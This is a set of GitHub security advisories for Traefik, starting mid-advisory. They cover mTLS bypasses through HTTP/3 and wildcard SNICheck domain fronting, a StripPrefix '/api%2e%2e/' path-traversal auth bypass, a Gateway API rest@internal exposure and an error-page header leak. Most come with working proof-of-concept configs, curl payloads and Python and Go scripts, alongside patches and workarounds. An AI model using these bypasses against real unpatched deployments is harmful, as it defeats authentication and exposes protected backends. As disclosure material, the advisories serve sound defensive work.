yaml http: routers: protected: rule: Host(api.example.com) service: protected tls: options: mtls

services: protected: loadBalancer: servers: - url: http://protected:80

tls: certificates: - certFile: /certs/server.crt keyFile: /certs/server.key

options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert

Minimal Docker Compose:

yaml services: traefik: image: traefik:v3.7.1 command: - --log.level=DEBUG - --entrypoints.websecure.address=:8443 - --entrypoints.websecure.http3 - --providers.file.filename=/etc/traefik/dynamic.yml - --providers.file.watch=false ports: - "8443:8443/tcp" - "8443:8443/udp" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro - ./certs:/certs:ro dependson: - protected

protected: image: traefik/whoami:v1.11 command: - --name=PROTECTED

Certificate generation:

bash rm -rf certs mkdir -p certs

openssl req -x509 -newkey rsa:2048 -nodes -days 7 -keyout certs/ca.key -out certs/ca.crt -subj "/CN=traefik-poc-ca"

openssl req -newkey rsa:2048 -nodes -keyout certs/server.key -out certs/server.csr -subj "/CN=api.example.com" -addext "subjectAltName=DNS:api.example.com,DNS:.example.com"

openssl x509 -req -in certs/server.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial -out certs/server.crt -days 7 -sha256 -copyextensions copyall

The mixed-case HTTP/3 client used for the exact-host case:

go package main

import ( "crypto/tls" "fmt" "io" "net/http" "os" "time"

"github.com/quic-go/quic-go/http3" )

func main() { serverName := os.Getenv("TLSSERVERNAME") if serverName == "" { serverName = "API.EXAMPLE.COM" }

host := os.Getenv("HTTPHOST") if host == "" { host = "API.EXAMPLE.COM" }

tr := &http3.Transport{ TLSClientConfig: &tls.Config{ ServerName: serverName, InsecureSkipVerify: true, }, } defer tr.Close()

client := &http.Client{Transport: tr, Timeout: 8 time.Second}

req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:8443/", nil) if err != nil { panic(err) } req.Host = host

resp, err := client.Do(req) if err != nil { fmt.Fprintln(os.Stderr, err) os.Exit(1) } defer resp.Body.Close()

fmt.Println(resp.Proto, resp.StatusCode) body, := io.ReadAll(resp.Body) fmt.Print(string(body)) }

PoC

Wildcard bypass:

1. Start Traefik with the wildcard dynamic configuration above. 2. Control over TCP/TLS:

bash curl --noproxy '' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/

Observed result:

text TLS alert ... certificate required

3. HTTP/3 bypass:

bash curl --noproxy '' --http3-only -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/

Observed result:

text HTTP/3 200 Name: PROTECTED Host: api.example.com:8443

Exact-host mixed-case bypass:

1. Start Traefik with the exact-host dynamic configuration above. 2. Control over TCP/TLS:

bash curl --noproxy '' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/

Observed result:

text TLS alert ... certificate required

3. Mixed-case HTTP/2 control:

bash curl --noproxy '' --http2 -skv --resolve API.EXAMPLE.COM:8443:127.0.0.1 https://API.EXAMPLE.COM:8443/

Observed result:

text TLS alert ... certificate required

This control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with certificate required.

4. HTTP/3 bypass with the same mixed-case hostname:

bash TLSSERVERNAME=API.EXAMPLE.COM HTTPHOST=API.EXAMPLE.COM go run ./h3-case-client.go

Observed result:

text HTTP/3.0 200 Name: PROTECTED Host: API.EXAMPLE.COM

Local regression tests used during validation:

bash go test ./pkg/server/router/tcp -run 'TestGetTLSGetClientInfo(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$' -count=1

These tests were added locally during analysis to demonstrate the current behavior of GetTLSGetClientInfo(). They are not required to reproduce the issue; the Docker and curl/HTTP3 commands above are the end-to-end reproduction.

Version matrix observed with Docker images:

text wildcard H3 bypass: affected on v3.7.0 and v3.7.1 exact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1

The wildcard case was tested on v3.7.x because wildcard Host / HostSNI matching and TLSOptions association for wildcard domains were introduced in v3.7.0.

Impact

Deployments that use router TLSOptions as an access-control boundary for HTTP/3 can expose protected backends without client authentication.

The highest-impact case is mTLS:

- normal HTTP/2/TCP access to the protected host requires a client certificate - HTTP/3 access to the same route falls back to the default TLS config - the request is then routed to the protected backend without satisfying the route's mTLS policy

This can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold.

Possible workarounds until a fix is available:

- Disable HTTP/3 on entrypoints that rely on router-specific mTLS. - Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration. - Block UDP access to the HTTP/3 entrypoint. - Enforce client authentication at an additional layer behind Traefik.

</details>

---

1 / 3
Source: GitHub
First published (updated )
Severity
7.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a high severity vulnerability in Traefik's domain-fronting protection (SNICheck) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host(.example.com) with stricter TLS options (for example RequireAndVerifyClientCert), SNICheck resolves the TLS options for the HTTP Host header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP Host header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3.

Patches

- https://github.com/traefik/traefik/releases/tag/v3.7.3

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's SNICheck domain-fronting protection ignores wildcard TLSOptions mappings. A wildcard router such as Host(".example.com") can require mTLS for direct access, but an unauthenticated client can complete the TLS handshake with another permissive SNI on the same entrypoint and then send Host: api.example.com / HTTP request authority api.example.com to reach the wildcard-protected backend.

This issue does not require HTTP/3. The PoC uses the regular HTTPS/HTTP2 path and abuses the domain-fronting consistency check between TLS SNI and the HTTP Host header.

For HTTP/2, this corresponds to the request authority / Host value as exposed to Traefik's HTTP request handling.

Details

For the v3 rule-syntax / file-provider path used in this PoC, wildcard Host / HostSNI matching and TLSOptions association for wildcard domains were introduced in Traefik v3.7. The normal HTTPS/TCP router path uses wildcard-aware matching. The SNICheck middleware does not.

The router build records TLS option names for host rules:

go domains, err := httpmuxer.ParseDomains(routerHTTPConfig.Rule) // ... tlsOptionsForHost[domain] = tlsOptionsName

The HTTPS forwarder then installs SNI routes:

go rule := fmt.Sprintf(HostSNI(%q), sniHost)

HostSNI matching is wildcard-aware:

go return muxer.DomainMatchHostExpression(meta.serverName, hostExpr)

But pkg/middlewares/snicheck/snicheck.go resolves the host's TLS option name with exact lookups only:

go func findTLSOptionName(tlsOptionsForHost map[string]string, host string, fqdn bool) string { name := findTLSOptName(tlsOptionsForHost, host, fqdn) if name != "" { return name }

name = findTLSOptName(tlsOptionsForHost, strings.ToLower(host), fqdn) if name != "" { return name }

return traefiktls.DefaultTLSConfigName }

func findTLSOptName(tlsOptionsForHost map[string]string, host string, fqdn bool) string { if tlsOptions, ok := tlsOptionsForHost[host]; ok { return tlsOptions }

if !fqdn { return "" }

if last := len(host) - 1; last >= 0 && host[last] == '.' { if tlsOptions, ok := tlsOptionsForHost[host[:last]]; ok { return tlsOptions }

return "" }

if tlsOptions, ok := tlsOptionsForHost[host+"."]; ok { return tlsOptions }

return "" }

There is no wildcard matching step for entries such as .example.com. As a result, Host: api.example.com can be classified as using default TLS options even though the router matched a wildcard host with stricter TLSOptions.

Preconditions:

- A protected router uses wildcard Host / HostSNI with router-specific TLSOptions. - The protected wildcard router uses stricter TLS options, such as RequireAndVerifyClientCert. - Another SNI/default TLS path on the same entrypoint allows a handshake without a client certificate. - The client can send an HTTP Host header different from the TLS SNI.

Relationship to my previous HTTP/3 report:

I previously submitted a related HTTP/3 mTLS bypass involving Router.GetTLSGetClientInfo() and exact/case-sensitive SNI lookup.

This report is separate. It does not require HTTP/3 or QUIC. It affects the regular HTTPS/HTTP2 path and is caused by SNICheck resolving tlsOptionsForHost with exact lookups only, without wildcard matching. The exploit uses domain fronting: a permissive TLS SNI is used for the handshake, while the HTTP request authority / Host header targets a wildcard-protected backend.

Relationship to public issue #12349:

This is related to public issue #12349, where wildcard hosts were observed to be classified as default by SNICheck, causing unexpected 421 Misdirected Request responses in some wildcard setups:

text TLS options difference: SNI:https-ext@file, Header:default

The public issue demonstrates the same wildcard resolution gap as an availability/operational problem. This report demonstrates a security-impacting false-negative variant that can bypass router-specific mTLS when a permissive SNI exists on the same entrypoint. When the attacker chooses a permissive/default SNI and sends a protected wildcard host in the HTTP Host header, both sides can be classified as default, so SNICheck does not return 421. The later HTTP router then matches the wildcard-protected backend and the request is forwarded without enforcing the wildcard route's mTLS policy.

Related wildcard SNICheck behavior has also been observed in Kubernetes Ingress setups, as described in public issue #12349. The PoC below uses the file provider and v3 rule syntax to keep the reproduction minimal and self-contained.

Minimal dynamic configuration:

yaml http: routers: protected: rule: Host(.example.com) service: protected tls: options: mtls

public: rule: Host(public.example.net) service: public tls: {}

services: protected: loadBalancer: servers: - url: http://protected:80

public: loadBalancer: servers: - url: http://public:80

tls: certificates: - certFile: /certs/server.crt keyFile: /certs/server.key

options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert

Minimal Docker Compose:

yaml services: traefik: image: traefik:v3.7.1 command: - --log.level=DEBUG - --entrypoints.websecure.address=:8443 - --providers.file.filename=/etc/traefik/dynamic.yml - --providers.file.watch=false ports: - "8443:8443" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro - ./certs:/certs:ro dependson: - protected - public

protected: image: traefik/whoami:v1.11 command: - --name=PROTECTED

public: image: traefik/whoami:v1.11 command: - --name=PUBLIC

Certificate generation:

bash rm -rf certs mkdir -p certs

openssl req -x509 -newkey rsa:2048 -nodes -days 7 \ -keyout certs/ca.key \ -out certs/ca.crt \ -subj "/CN=traefik-poc-ca"

openssl req -newkey rsa:2048 -nodes \ -keyout certs/server.key \ -out certs/server.csr \ -subj "/CN=public.example.net" \ -addext "subjectAltName=DNS:public.example.net,DNS:api.example.com,DNS:.example.com"

openssl x509 -req \ -in certs/server.csr \ -CA certs/ca.crt \ -CAkey certs/ca.key \ -CAcreateserial \ -out certs/server.crt \ -days 7 \ -sha256 \ -copyextensions copyall

PoC

Start Traefik with the configuration above.

Test environment:

- Traefik images tested: v3.7.0, v3.7.1 - Backend image: traefik/whoami:v1.11 - Client: curl with HTTPS/HTTP2 support - EntryPoint: TCP port 8443 exposed locally - Provider: file provider

Control 1: the permissive public route works normally and reaches the public backend:

bash curl --noproxy '' --http2 -skv \ --resolve public.example.net:8443:127.0.0.1 \ https://public.example.net:8443/

Observed result:

text HTTP/2 200 Name: PUBLIC Host: public.example.net:8443

Control 2: direct access to the wildcard-protected host without a client certificate is blocked:

bash curl --noproxy '' --http2 -skv \ --resolve api.example.com:8443:127.0.0.1 \ https://api.example.com:8443/

Observed result:

text TLS alert ... certificate required

Bypass: use the permissive public SNI for the TLS handshake, but send the protected wildcard host in the HTTP request:

bash curl --noproxy '' --http2 -skv \ --resolve public.example.net:8443:127.0.0.1 \ https://public.example.net:8443/ \ -H 'Host: api.example.com'

Observed result:

text HTTP/2 200 Name: PROTECTED Host: api.example.com

The curl verbose output shows that the HTTP/2 request authority / Host value is api.example.com, while the TLS SNI is taken from the URL host public.example.net:

text [HTTP/2] [1] [:authority: api.example.com] Host: api.example.com

Expected result:

text HTTP/2 421 Misdirected Request

Traefik should return 421 Misdirected Request because the HTTP Host header resolves to the wildcard route's mtls TLSOptions while the TLS SNI resolves to permissive/default TLSOptions.

Negative control with exact host:

Replacing the protected router rule with exact Host("api.example.com") while keeping tls.options=mtls causes the same domain-fronting request to be rejected:

yaml http: routers: protected: rule: Host(api.example.com) service: protected tls: options: mtls

Run the same request:

bash curl --noproxy '' --http2 -skv \ --resolve public.example.net:8443:127.0.0.1 \ https://public.example.net:8443/ \ -H 'Host: api.example.com'

Observed result:

text HTTP/2 421 Misdirected Request

This shows that the bypass depends on wildcard TLSOptions resolution in SNICheck, not on a generic failure of the domain-fronting check.

Regression test used during validation:

bash go test ./pkg/middlewares/snicheck \ -run TestSNICheckWildcardTLSOptionsCurrentBehavior \ -count=1

Version matrix observed with Docker images:

text v3.6.17: this file-provider wildcard PoC did not reproduce; the wildcard route returned 404 in this setup v3.7.0: affected v3.7.1: affected

Impact

Deployments that use wildcard router TLSOptions for client certificate authentication can expose protected backends to unauthenticated clients when another permissive SNI exists on the same entrypoint.

The TLS handshake is completed under the permissive/default TLS options selected for the SNI, while the later HTTP router still dispatches the request to the wildcard route that was configured with mTLS-specific TLSOptions. This bypasses a security boundary that administrators can reasonably expect to be enforced by tls.options=mtls on the wildcard route.

A possible fix would be for SNICheck to resolve tlsOptionsForHost using the same wildcard-aware host matching semantics used by the router / HostSNI matching, rather than exact map lookups only.

Possible workarounds until a fix is available:

- Avoid wildcard router TLSOptions for mTLS access control. - Enumerate exact protected hostnames instead of using wildcard Host rules. - Enforce mTLS in the default TLS options as well. - Avoid mixing permissive and mTLS-protected hosts on the same entrypoint. - Block or reject domain-fronted requests at another layer.

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.8
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.48 - https://github.com/traefik/traefik/releases/tag/v3.6.19 - https://github.com/traefik/traefik/releases/tag/v3.7.3

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)

Summary

A route-level authentication/authorization bypas was found in Traefik when PathPrefix-based public routes are combined with StripPrefix.

A request using /api../ or /api%2e%2e/ can avoid protected router rules at the routing stage, but after StripPrefix, the path is normalized and forwarded to the backend as a protected path such as /admin or /internal/config.

This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed StripPrefixRegex / path-normalization issues.

This report specifically affects StripPrefix.

Affected Versions Tested

| Image | Observed Version | Result | |---|---|---| | traefik:v2.11 | v2.11.46 | Affected | | traefik:v3.6 | v3.6.17 | Affected | | traefik:latest | v3.7.1 | Affected |

Lab Contrast

| Image | Result | |---|---| | traefik:v2.10 | Not reproduced in lab | | traefik:v3.5 | Not reproduced in lab |

Vulnerable Configuration Pattern

The issue appears when:

- a broad public route strips a prefix - while a separate protected route is intended to guard internal/admin paths

yaml http: routers: public-api: rule: 'PathPrefix(/api) && !PathPrefix(/api/admin) && !PathPrefix(/api/internal)' entryPoints: - web middlewares: - strip-api service: backend

protected: rule: 'PathPrefix(/admin) || PathPrefix(/internal)' entryPoints: - web middlewares: - auth service: backend

middlewares: strip-api: stripPrefix: prefixes: - /api

auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

services: backend: loadBalancer: servers: - url: http://backend:9000

Observed Behavior

Direct Protected Paths

These are correctly blocked.

| Request | Expected | Observed | |---|---|---| | GET /admin | Blocked | 401 | | GET /internal/config | Blocked | 401 |

Expected Public Exclusions

These do not expose protected backend paths.

| Request | Expected | Observed | |---|---|---| | GET /api/admin | Not routed to protected backend path | 404 | | GET /api/internal/config | Not routed to protected backend path | 404 |

Bypass Payloads

These reach protected backend paths.

| Request | Observed Status | Backend Receives | |---|---|---| | GET /api../admin | 200 | /admin | | GET /api%2e%2e/admin | 200 | /admin | | GET /api../internal/config | 200 | /internal/config | | GET /api%2e%2e/internal/config | 200 | /internal/config |

Minimal PoC

docker-compose.yml

yaml services: traefik: image: traefik:v3.7 command: - --providers.file.filename=/etc/traefik/dynamic.yml - --entrypoints.web.address=:8080 - --accesslog=true ports: - "127.0.0.1:18080:8080" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro dependson: - backend

backend: image: python:3.12-slim workingdir: /app command: python backend.py volumes: - ./backend.py:/app/backend.py:ro expose: - "9000"

dynamic.yml

yaml http: routers: public-api: rule: 'PathPrefix(/api) && !PathPrefix(/api/admin) && !PathPrefix(/api/internal)' entryPoints: - web middlewares: - strip-api service: backend

protected: rule: 'PathPrefix(/admin) || PathPrefix(/internal)' entryPoints: - web middlewares: - auth service: backend

middlewares: strip-api: stripPrefix: prefixes: - /api

auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

services: backend: loadBalancer: servers: - url: http://backend:9000

backend.py

python from http.server import BaseHTTPRequestHandler, HTTPServer import json

class Handler(BaseHTTPRequestHandler): def logmessage(self, fmt, args): return

def json(self, status, obj): body = json.dumps(obj).encode() self.sendresponse(status) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)

def doGET(self): if self.path == "/admin": self.json(200, { "seenpath": self.path, "secret": "ADMINSECRETREACHED" }) elif self.path == "/internal/config": self.json(200, { "seenpath": self.path, "secret": "TRAEFIKLABINTERNALCONFIG" }) elif self.path == "/admin/exec": self.json(200, { "seenpath": self.path, "rcechainmarker": True, "note": "protected execution endpoint reached" }) else: self.json(404, { "seenpath": self.path, "secret": None })

HTTPServer(("0.0.0.0", 9000), Handler).serveforever()

poc.py

python #!/usr/bin/env python3 from urllib.request import Request, urlopen from urllib.error import HTTPError

BASE = "http://127.0.0.1:18080"

PATHS = [ "/admin", "/internal/config", "/api/admin", "/api/internal/config", "/api../admin", "/api%2e%2e/admin", "/api../internal/config", "/api%2e%2e/internal/config", "/admin/exec", "/api/admin/exec", "/api../admin/exec", "/api%2e%2e/admin/exec", ]

for path in PATHS: req = Request(BASE + path) try: with urlopen(req, timeout=5) as r: status = r.status body = r.read().decode(errors="replace") except HTTPError as e: status = e.code body = e.read().decode(errors="replace")

print(f"{path:28} {status} {body[:180]}")

Run

bash docker compose up -d python3 poc.py

Expected Vulnerable Output

text /admin 401 /internal/config 401 /api/admin 404 /api/internal/config 404 /api../admin 200 backend seenpath=/admin /api%2e%2e/admin 200 backend seenpath=/admin /api../internal/config 200 backend seenpath=/internal/config /api%2e%2e/internal/config 200 backend seenpath=/internal/config /api../admin/exec 200 protected execution endpoint reached /api%2e%2e/admin/exec 200 protected execution endpoint reached

Root Cause Hypothesis

The vulnerable behavior appears to be caused by path normalization after prefix stripping.

text Incoming path: /api../admin After StripPrefix("/api"): /../admin After JoinPath(): /admin

The request does not match the protected /admin router at the routing stage, but the backend receives /admin after normalization.

The relevant behavior appears related to StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.

Security Impact

An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.

Potential impact includes:

- Access to protected admin paths - Access to internal configuration endpoints - Exposure of secrets returned by internal backends - Access to protected backend management functionality - Conditional RCE if the protected backend exposes an execution primitive

In the local lab, a protected /admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.

This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.

Suggested Severity

Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.

text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.

If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:

text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.

Weakness

Primary CWE:

- CWE-863: Incorrect Authorization

Related weakness candidates:

- CWE-180: Incorrect Behavior Order: Validate Before Canonicalize - CWE-22: Improper Limitation of a Pathname to a Restricted Directory

Mitigation Verified in Lab

The bypass was blocked when using a stricter prefix boundary:

text PathRegexp(^/api(/|$))

or:

text PathPrefix(/api/) with StripPrefix(/api/)

Relation to Existing Advisories

This appears related to the same vulnerability family as prior Traefik path normalization / StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.

This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.

Reporter

WonYun / kyun0

</details>

1 / 2
Source: GitHub
First published (updated )
Severity
7

Traefik is an HTTP reverse proxy and load balancer. Prior to 2.11.46, 3.6.17, and 3.7.1, Traefik's Kubernetes Gateway API provider allows a tenant with HTTPRoute creation permissions to expose the REST provider handler, bypassing the providers.rest.insecure=false setting. The Gateway provider accepts any TraefikService backend reference whose name ends with @internal, making it possible to route traffic to rest@internal in addition to the intended api@internal. In shared Gateway deployments where the REST provider is enabled, this allows a low-privileged actor to gain live dynamic configuration write access to Traefik, enabling unauthorized reconfiguration of routers and services. This vulnerability is fixed in 2.11.46, 3.6.17, and 3.7.1.

First published (updated )
Severity
6.4
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a medium severity vulnerability in Traefik's Kubernetes Gateway API provider that allows a tenant with HTTPRoute creation permissions to expose the REST provider handler, bypassing the providers.rest.insecure=false setting. The Gateway provider accepts any TraefikService backend reference whose name ends with @internal, making it possible to route traffic to rest@internal in addition to the intended api@internal. In shared Gateway deployments where the REST provider is enabled, this allows a low-privileged actor to gain live dynamic configuration write access to Traefik, enabling unauthorized reconfiguration of routers and services.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.46 - https://github.com/traefik/traefik/releases/tag/v3.6.17 - https://github.com/traefik/traefik/releases/tag/v3.7.1

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary When the Kubernetes Gateway API provider is enabled, Traefik accepts any TraefikService backend whose name ends with @internal. This allows a tenant-controlled HTTPRoute to publish rest@internal.

If providers.rest is enabled, this exposes Traefik's REST provider handler even when providers.rest.insecure=false, even though providers.rest.insecure=false is meant to keep the REST handler from being exposed by Traefik's built-in internal router. In a shared Gateway deployment, an actor with permission to create or update HTTPRoute resources in an allowed namespace can gain live Traefik dynamic-configuration write access through PUT /api/providers/rest.

Details The Gateway provider treats internal services broadly rather than allowing only a specific internal target.

In current master, pkg/provider/kubernetes/gateway/kubernetes.go defines isInternalService(...) as any TraefikService reference whose name ends with @internal.

Then pkg/provider/kubernetes/gateway/httproute.go special-cases a single backend reference that matches isInternalService(...) and directly assigns router.Service = string(routeRule.BackendRefs[0].Name).

This means a tenant route can target not only api@internal, but also rest@internal and other internal handlers.

Separately, the REST provider handler is created whenever the REST provider is enabled. In pkg/server/service/managerfactory.go, if staticConfiguration.Providers.Rest != nil, Traefik sets factory.restHandler = staticConfiguration.Providers.Rest.CreateRouter().

The REST provider handler itself is implemented in pkg/provider/rest/rest.go and accepts PUT /api/providers/{provider}.

The providers.rest.insecure flag does not disable the underlying handler. In pkg/provider/traefik/internal.go, that flag only controls whether Traefik creates its own built-in internal router for rest@internal. Even when providers.rest.insecure=false, Traefik still registers the rest service object, and the service layer can still resolve rest@internal if another provider routes to it.

I validated this locally in two tests: 1. the Gateway route-building path accepts rest@internal as an internal backend through the same special-case branch used for api@internal 2. the service layer builds and serves rest@internal successfully when providers.rest is enabled and providers.rest.insecure=false

The vulnerable code path is present in: - v3.0.0 - v3.6.7 - v2.11.0 - v2.11.36 - current master at 786f7192e11878dfaa634f8263bf79bb730a71cb

I verified the issue in v3.0.0, v3.6.7, v2.11.0, v2.11.36, and current master; the reported affected ranges reflect the maintained release lines checked during validation

I did not find a public Traefik advisory or CVE for this exact issue. The closest public overlap I found is the documented/tested Gateway support for api@internal, but the issue here is broader because the Gateway code accepts any @internal TraefikService, including the write-capable rest@internal handler.

Expected behavior providers.rest.insecure=false should prevent low-privileged route authors from exposing the REST provider handler.

Actual behavior A tenant-controlled Gateway route can still publish rest@internal and reach the REST update API.

Attacker prerequisites - The Kubernetes Gateway API provider is enabled. - providers.rest=true. - providers.rest.insecure=false. - A shared Gateway allows tenant namespaces to attach HTTPRoute resources. - The attacker can create or update HTTPRoute resources in an allowed tenant namespace.

PoC 1. Configure Traefik so that the Kubernetes Gateway provider is enabled, the REST provider is enabled, and the REST provider is not exposed insecurely.

Example static configuration:

yaml providers: kubernetesGateway: {} rest: insecure: false

2. Ensure a shared Gateway allows tenant HTTPRoute attachment.

3. In an allowed tenant namespace, create an HTTPRoute whose backend points to rest@internal:

yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: expose-rest-internal namespace: tenant-a spec: parentRefs: - name: shared-gateway namespace: infra hostnames: - rest.tenant.example rules: - matches: - path: type: PathPrefix value: / backendRefs: - group: traefik.io kind: TraefikService name: rest@internal port: 80

4. Send a PUT request through that published route to /api/providers/rest with a valid dynamic configuration body. A harmless proof can add a dummy router pointing to noop@internal.

Example request body:

json { "http": { "routers": { "probe": { "rule": "PathPrefix(/probe)", "service": "noop@internal", "ruleSyntax": "default" } } } }

5. Observe that Traefik accepts the update and applies the supplied dynamic configuration, even though providers.rest.insecure=false.

Impact This is an authorization / trust-boundary bypass affecting shared Gateway deployments.

On affected deployments, an actor who should only be able to create or update HTTPRoute objects can escalate to live Traefik dynamic-configuration write access. That can allow unauthorized reconfiguration of routers and services, publication of additional internal surfaces, request interception or rerouting, and denial of service through destructive config changes.

On affected deployments, this gives a low-privileged Gateway route author live Traefik dynamic-configuration write access. This is critical for affected shared Gateway deployments because it can give a low-privileged route author live Traefik dynamic-configuration write access, but it depends on providers.rest being enabled.

This is not an unauthenticated vulnerability in all Traefik deployments. The issue depends on realistic but specific conditions: - providers.rest must be enabled - the attacker must be allowed to attach HTTPRoute resources to a shared Gateway

</details>

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a medium severity information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request's complete header set, including Authorization, Cookie, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that Host is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the errors middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.44 - https://github.com/traefik/traefik/releases/tag/v3.6.15 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Description Traefik v3.6.13's supported HTTP errors middleware discloses sensitive request headers to the configured error page service when the original backend response matches the configured status range and the middleware takes its default header-forwarding path. In the reproduced configuration, the business router audit-customerrors@docker pointed to backend service audit-backend, attached middleware audit-leak@docker, and the middleware was configured with errors.status=500-599, errors.service=audit-error, and errors.query=/collect. A request to the business route caused the backend to return 500, after which Traefik created a secondary request to the error service and copied the original Authorization and Cookie headers into that cross-service request.

This is a normal feature path on an ordinary HTTP route. It does not depend on api.insecure, the dashboard, pprof, or a debug-only mode. The confidentiality boundary that breaks here is the service boundary between the original backend chain and the separate error page service: credentials that were only meant for the original backend are automatically delivered to another service.

The root cause is in pkg/middlewares/customerrors/customerrors.go:151-160:

go if len(c.forwardNginxHeaders) > 0 { utils.CopyHeaders(pageReq.Header, c.forwardNginxHeaders) pageReq.Header.Set("X-Code", strconv.Itoa(code)) pageReq.Header.Set("X-Format", req.Header.Get("Accept")) pageReq.Header.Set("X-Original-Uri", req.URL.RequestURI()) } else { utils.CopyHeaders(pageReq.Header, req.Header) }

Unless the NginxHeaders branch is explicitly used, the middleware copies the entire original request header map into the error page request. The documentation at docs/content/reference/routing-configuration/http/middlewares/errorpages.md:103-107 only states that Host is forwarded by default, so operators are not warned that Authorization, Cookie, and other authentication material are forwarded as well.

Steps To Reproduce 1. Deploy Traefik v3.6.13 with a normal business route that uses the supported errors middleware and points errors.service to a distinct service. The attached PoC uses BASEURL = "http://127.0.0.1:28080", APIBASEURL = "http://127.0.0.1:28180", ROUTERPATH = "/audit-customerrors", AUTHORIZATION = "Bearer audit-secret-token", and COOKIE = "sessionid=audit-cookie; theme=dark".

